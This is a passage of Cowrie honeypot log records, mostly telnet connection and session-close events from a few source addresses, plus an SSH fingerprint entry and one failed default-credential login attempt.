a-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:02.593127Z","src_ip":"122.168.114.167","session":"4351ffca79c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":50824,"dst_ip":"10.17.0.5","dst_port":23,"session":"a484aff72c3d","protocol":"telnet","message":"New connection: 108.179.218.230:50824 (10.17.0.5:23) [session: a484aff72c3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:03.275003Z"}
{"eventid":"cowrie.session.closed","duration":31.35273790359497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:03.311400Z","src_ip":"108.179.218.230","session":"5493d07cf1f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":55038,"dst_ip":"159.203.135.109","dst_port":23,"session":"6069183fd0ce","protocol":"telnet","message":"New connection: 176.74.31.147:55038 (159.203.135.109:23) [session: 6069183fd0ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:03.442077Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":55054,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a6e005d90c0","protocol":"telnet","message":"New connection: 176.74.31.147:55054 (159.203.135.109:23) [session: 0a6e005d90c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:03.464304Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":39048,"dst_ip":"10.17.0.5","dst_port":23,"session":"4668c1b8750c","protocol":"telnet","message":"New connection: 162.241.40.195:39048 (10.17.0.5:23) [session: 4668c1b8750c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:03.575502Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":50598,"dst_ip":"10.17.0.5","dst_port":23,"session":"5331db300cbc","protocol":"telnet","message":"New connection: 108.179.218.230:50598 (10.17.0.5:23) [session: 5331db300cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:03.874148Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":54450,"dst_ip":"10.17.0.5","dst_port":23,"session":"acebade41ef7","protocol":"telnet","message":"New connection: 192.161.62.114:54450 (10.17.0.5:23) [session: acebade41ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:04.095460Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":51244,"dst_ip":"10.17.0.5","dst_port":23,"session":"75d17f8684f3","protocol":"telnet","message":"New connection: 108.179.218.230:51244 (10.17.0.5:23) [session: 75d17f8684f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:04.290041Z"}
{"eventid":"cowrie.session.closed","duration":31.442628383636475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:04.463030Z","src_ip":"162.241.40.195","session":"a8181e3a0d68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09562921524048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:04.889996Z","src_ip":"162.241.40.195","session":"64f04adb71d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.668033838272095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:05.026240Z","src_ip":"108.179.218.230","session":"18241051c2cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.196916103363037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:05.040837Z","src_ip":"64.235.40.29","session":"54e0d0879dc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06873321533203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:05.093464Z","src_ip":"133.130.75.21","session":"51a672b2dbab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":51568,"dst_ip":"10.17.0.5","dst_port":23,"session":"0059f64ba33a","protocol":"telnet","message":"New connection: 108.179.218.230:51568 (10.17.0.5:23) [session: 0059f64ba33a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:05.130202Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":54338,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd51fb26b073","protocol":"telnet","message":"New connection: 176.74.31.147:54338 (159.203.135.109:23) [session: cd51fb26b073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:05.287927Z"}
{"eventid":"cowrie.session.closed","duration":31.222627878189087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:05.531993Z","src_ip":"162.241.40.195","session":"25aa747ddccc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.84.199.249","src_port":52266,"dst_ip":"10.17.0.5","dst_port":23,"session":"99bdb366dcbf","protocol":"telnet","message":"New connection: 40.84.199.249:52266 (10.17.0.5:23) [session: 99bdb366dcbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:07.011774Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":52672,"dst_ip":"10.17.0.5","dst_port":23,"session":"23065d722793","protocol":"telnet","message":"New connection: 108.179.218.230:52672 (10.17.0.5:23) [session: 23065d722793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:07.622438Z"}
{"eventid":"cowrie.session.closed","duration":31.50688076019287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:08.084271Z","src_ip":"162.214.112.92","session":"a8636b5bfd21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.391842365264893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:08.212112Z","src_ip":"162.241.40.195","session":"d323781fc66c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.619009733200073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:08.462626Z","src_ip":"162.241.40.195","session":"e4afb960438d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":51708,"dst_ip":"10.17.0.5","dst_port":23,"session":"ded4db4e45d0","protocol":"telnet","message":"New connection: 108.179.218.230:51708 (10.17.0.5:23) [session: ded4db4e45d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:08.477719Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":60824,"dst_ip":"10.17.0.5","dst_port":23,"session":"af830a89093c","protocol":"telnet","message":"New connection: 216.22.21.200:60824 (10.17.0.5:23) [session: af830a89093c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:08.583260Z"}
{"eventid":"cowrie.session.closed","duration":30.900902271270752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:08.808043Z","src_ip":"162.241.40.195","session":"99e4ac8172b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.40906381607056,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:09.013414Z","src_ip":"162.214.112.92","session":"7f58d90fa66e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.386613130569458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:09.111013Z","src_ip":"64.235.40.29","session":"7969e69fe96c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.202372789382935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:09.690885Z","src_ip":"162.214.112.92","session":"d2addb42ebbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":53168,"dst_ip":"10.17.0.5","dst_port":23,"session":"35819ebbf963","protocol":"telnet","message":"New connection: 108.179.218.230:53168 (10.17.0.5:23) [session: 35819ebbf963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:09.698402Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.84.199.249","src_port":53328,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c73052cbad2","protocol":"telnet","message":"New connection: 40.84.199.249:53328 (10.17.0.5:23) [session: 9c73052cbad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:10.184759Z"}
{"eventid":"cowrie.session.closed","duration":30.978584051132202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:10.465925Z","src_ip":"108.179.218.230","session":"603fd0085360","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.663227558135986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:10.648249Z","src_ip":"108.179.218.230","session":"09002eec6783","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.84.199.249","src_port":53690,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c9cca14f87b","protocol":"telnet","message":"New connection: 40.84.199.249:53690 (10.17.0.5:23) [session: 0c9cca14f87b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:11.233943Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":59904,"dst_ip":"159.203.135.109","dst_port":23,"session":"e549f3c10c9b","protocol":"telnet","message":"New connection: 176.74.31.147:59904 (159.203.135.109:23) [session: e549f3c10c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:11.508588Z"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:12.065242Z","src_ip":"122.168.114.167","session":"4351ffca79c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":54762,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5753b7173c2","protocol":"telnet","message":"New connection: 108.179.218.230:54762 (10.17.0.5:23) [session: c5753b7173c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:12.170818Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":42274,"dst_ip":"10.17.0.5","dst_port":23,"session":"83ecccff0c76","protocol":"telnet","message":"New connection: 162.241.40.195:42274 (10.17.0.5:23) [session: 83ecccff0c76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:12.187667Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":54680,"dst_ip":"10.17.0.5","dst_port":23,"session":"10980906a5fd","protocol":"telnet","message":"New connection: 108.179.218.230:54680 (10.17.0.5:23) [session: 10980906a5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:12.931593Z"}
{"eventid":"cowrie.session.closed","duration":30.621965885162354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:12.942658Z","src_ip":"162.241.40.195","session":"1604805e7bca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.51060104370117,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:12.982011Z","src_ip":"162.214.112.92","session":"c1506d7af976","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":60016,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c03dbd0b4a7","protocol":"telnet","message":"New connection: 192.161.62.114:60016 (10.17.0.5:23) [session: 7c03dbd0b4a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:13.127871Z"}
{"eventid":"cowrie.session.closed","duration":31.131624937057495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:13.558040Z","src_ip":"162.214.112.92","session":"b98c0b22258f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88317346572876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:14.388647Z","src_ip":"192.161.62.114","session":"beeced84691a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":54402,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d676762bbe7","protocol":"telnet","message":"New connection: 108.179.218.230:54402 (10.17.0.5:23) [session: 0d676762bbe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:14.399581Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":55642,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ddeb330d569","protocol":"telnet","message":"New connection: 108.179.218.230:55642 (10.17.0.5:23) [session: 6ddeb330d569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:15.022685Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":54958,"dst_ip":"10.17.0.5","dst_port":23,"session":"adf627978bbe","protocol":"telnet","message":"New connection: 108.179.218.230:54958 (10.17.0.5:23) [session: adf627978bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:15.545214Z"}
{"eventid":"cowrie.session.closed","duration":31.090790271759033,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:15.551031Z","src_ip":"162.241.40.195","session":"cf274414885c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:15.593588Z","src_ip":"122.168.114.167","session":"4351ffca79c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":56044,"dst_ip":"10.17.0.5","dst_port":23,"session":"502dd1d9adbb","protocol":"telnet","message":"New connection: 108.179.218.230:56044 (10.17.0.5:23) [session: 502dd1d9adbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:15.827569Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":56184,"dst_ip":"10.17.0.5","dst_port":23,"session":"67218f3f90f6","protocol":"telnet","message":"New connection: 108.179.218.230:56184 (10.17.0.5:23) [session: 67218f3f90f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:16.111730Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":56278,"dst_ip":"10.17.0.5","dst_port":23,"session":"8de0260a0d8b","protocol":"telnet","message":"New connection: 108.179.218.230:56278 (10.17.0.5:23) [session: 8de0260a0d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:16.317002Z"}
{"eventid":"cowrie.session.closed","duration":31.06404972076416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:16.364450Z","src_ip":"176.74.31.147","session":"c8f9a8f9da6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":32872,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bf0f288b615","protocol":"telnet","message":"New connection: 176.74.31.147:32872 (159.203.135.109:23) [session: 7bf0f288b615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:16.390121Z"}
{"eventid":"cowrie.session.closed","duration":31.102120637893677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:16.612965Z","src_ip":"192.161.62.114","session":"a70cf2ffa3d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.021203756332397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:16.869561Z","src_ip":"162.241.40.195","session":"b313bc601b52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":46836,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9cd68d1b85f","protocol":"telnet","message":"New connection: 162.241.40.195:46836 (10.17.0.5:23) [session: b9cd68d1b85f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:18.079535Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":57180,"dst_ip":"10.17.0.5","dst_port":23,"session":"025e63577c07","protocol":"telnet","message":"New connection: 108.179.218.230:57180 (10.17.0.5:23) [session: 025e63577c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:18.189628Z"}
{"eventid":"cowrie.session.closed","duration":31.36138653755188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:18.474812Z","src_ip":"40.84.199.249","session":"5d766a3f8804","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31902837753296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:18.491536Z","src_ip":"108.179.218.230","session":"c5aadff6f902","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.331777811050415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:18.653250Z","src_ip":"108.179.218.230","session":"69022a95f2a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.52175283432007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:18.814039Z","src_ip":"192.161.62.114","session":"c19188037bf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.548222303390503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:20.663218Z","src_ip":"192.161.62.114","session":"4b78a3b50897","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.991332530975342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:21.202661Z","src_ip":"40.84.199.249","session":"18e0c974dc0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13611125946045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:21.405737Z","src_ip":"162.241.40.195","session":"00131c6ddfa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.359381437301636,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:22.000096Z","src_ip":"40.84.199.249","session":"a2a1ea9500be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73595404624939,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:22.431385Z","src_ip":"108.179.218.230","session":"50a2719d53bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":49026,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbf9de8c2117","protocol":"telnet","message":"New connection: 162.241.40.195:49026 (10.17.0.5:23) [session: cbf9de8c2117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:22.905386Z"}
{"eventid":"cowrie.session.closed","duration":30.937763690948486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:23.326164Z","src_ip":"176.74.31.147","session":"aa366d00a6e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":59462,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca6ce2396b25","protocol":"telnet","message":"New connection: 108.179.218.230:59462 (10.17.0.5:23) [session: ca6ce2396b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:23.415527Z"}
{"eventid":"cowrie.session.closed","duration":31.2540385723114,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:23.788359Z","src_ip":"162.241.40.195","session":"15dc954c381a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.829535484313965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:24.262465Z","src_ip":"176.74.31.147","session":"fb28d77728b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78879427909851,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:24.420899Z","src_ip":"108.179.218.230","session":"f1be0d91d53b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22110414505005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:24.776610Z","src_ip":"162.241.40.195","session":"7b25e86d982d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.930066347122192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:25.102675Z","src_ip":"162.241.40.195","session":"1c7fa2180505","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.534213066101074,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:25.207539Z","src_ip":"108.179.218.230","session":"8ae61088d68d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":35123,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe16b8fdbc8c","protocol":"telnet","message":"New connection: 133.130.75.21:35123 (10.17.0.5:23) [session: fe16b8fdbc8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:25.304648Z"}
{"eventid":"cowrie.session.closed","duration":30.94123101234436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:26.064854Z","src_ip":"40.84.199.249","session":"0d21e37faecb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78148126602173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:26.340042Z","src_ip":"176.74.31.147","session":"371194974165","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.221285581588745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:26.744366Z","src_ip":"192.161.62.114","session":"575e9004a4f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":35384,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d698a495f60","protocol":"telnet","message":"New connection: 133.130.75.21:35384 (10.17.0.5:23) [session: 6d698a495f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:26.867555Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":35418,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ab34bc32c66","protocol":"telnet","message":"New connection: 133.130.75.21:35418 (10.17.0.5:23) [session: 9ab34bc32c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:27.905037Z"}
